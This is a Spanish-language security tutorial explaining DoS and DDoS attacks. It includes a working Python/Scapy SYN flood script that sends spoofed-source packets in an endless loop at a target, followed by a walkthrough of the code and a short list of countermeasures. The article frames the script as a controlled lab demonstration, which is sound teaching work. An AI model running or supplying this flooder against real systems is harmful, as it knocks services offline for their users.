Debemos estar siempre atentos a los diferentes ataques informáticos a los que estamos expuestos. En está ocasión vamos a hablar de un ataque informático que arremete contra la disponibilidad de un servicio, se trata del ataque DoS (Denegación de Servicio). Este ataque se puede hacer de forma distribuida (DDoS), normalmente se llevará a cabo a través de una Botnet. Los atacantes tienen como objetivo que los usuarios de un servicio no puedan utilizarlo, debido a que está saturado, seguro que has oído sobre los ataques que ha sufrido PlayStation Network, incluso es posible que debido a alguno de esos ataques cierto día no hayas podido jugar en línea.
Has podido ver que existe el ataque DoS y el DDoS, una diferencia que encontramos entre un ataque y otro, es que en el primero utilizamos una máquina y una conexión y en el segundo se van a utilizar muchos computadores, por lo que el ataque es mucho más duro y efectivo.
Distintas formas de realizar el ataque
Para aprender seguridad y poder protegerse, es necesario conocer cómo se realizan los ataques. En este ataque podemos ver que se puede llevar a cabo de muchas maneras, a continuación dejamos algunas de ellas, con una breve explicación:
Existen más tipos, como pueden ser HTTP flood, NTP Amplification, etc.
Ejemplo ataque DoS en Python
Ahora vamos a ver un pequeño ejemplo de código en Python que se va a basar en el ataque SYN flood, la prueba se va a realizar de manera controlada con máquinas virtuales.
import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * conf.verb = 0 host = "192.168.56.1" port = 80 origenIP = "192.168.1." endIP = 10 packet_number = 0 while True: packet_number += 1 packet = IP(src= (origenIP+str(endIP)), dst= host) / TCP(sport= RandShort(), dport= port) send(packet, inter= 0.0002) print("Packet %d sent" %packet_number) endIP += 1 if(endIP == 200): endIP = 10El código es bastante simple, se está utilizando la versión 3 de Python, y nos ayudamos de la librería Scapy, que es muy potente y nos facilita las cosas.
Lo primero que vemos es importar las librerías necesarias, la de logging se usa para evitar el warning que lanza Scapy sobre IPv6. Acto seguido se usa conf.verb = 0, esto se hace para que Scapy no muestre información.
A continuación se crea la variable host, que no es más que la IP del objetivo de nuestro ataque y la variable port que es el puerto de nuestro objetivo.
Para que no sea siempre la misma dirección de origen he creado una variable que tenga la base (origenIP) y otra que se ira añadiendo al final (endIP), como puedes apreciar se concatenan al crear el paquete origenIP+str(endIP).
La variable packet_number simplemente se utiliza para llevar la cuenta de los paquetes que se han mandado.
La última parte es un bucle infinito, que es el que se encarga de todo, creamos el paquete y lo enviamos, además mostramos que se ha enviado el paquete, por tener la información, y actualizamos las variables endIP y packet_number.
Si ejecutamos el código y utilizamos wireshark, podemos ver como se envían los paquetes, comprobamos que la IP de origen es distinta cada vez, al igual que el puerto.
Si nos fijamos, la columna Source de la imagen anterior va cambiando, la de Destination no, ya que es nuestra victima.
Contramedidas
Lamentablemente las empresas sufren muchas pérdidas a lo largo del año debido a este tipo de ataque, así que es muy importante que implementemos contramedidas, a continuación se ponen algunas de las que deberíamos tener en cuenta:
- Configurar Firewall o sistemas IDS o IPS de manera correcta
- Limitar el número de paquetes TCP SYNpor segundo
- Analizar el tráfico de red
- Búsqueda reversa de IP, sirve para evitar el spoofing
Si quieres leer más sobre temas de seguridad, puedes visitar la categoría dedicada a seguridad dentro de Solvetic.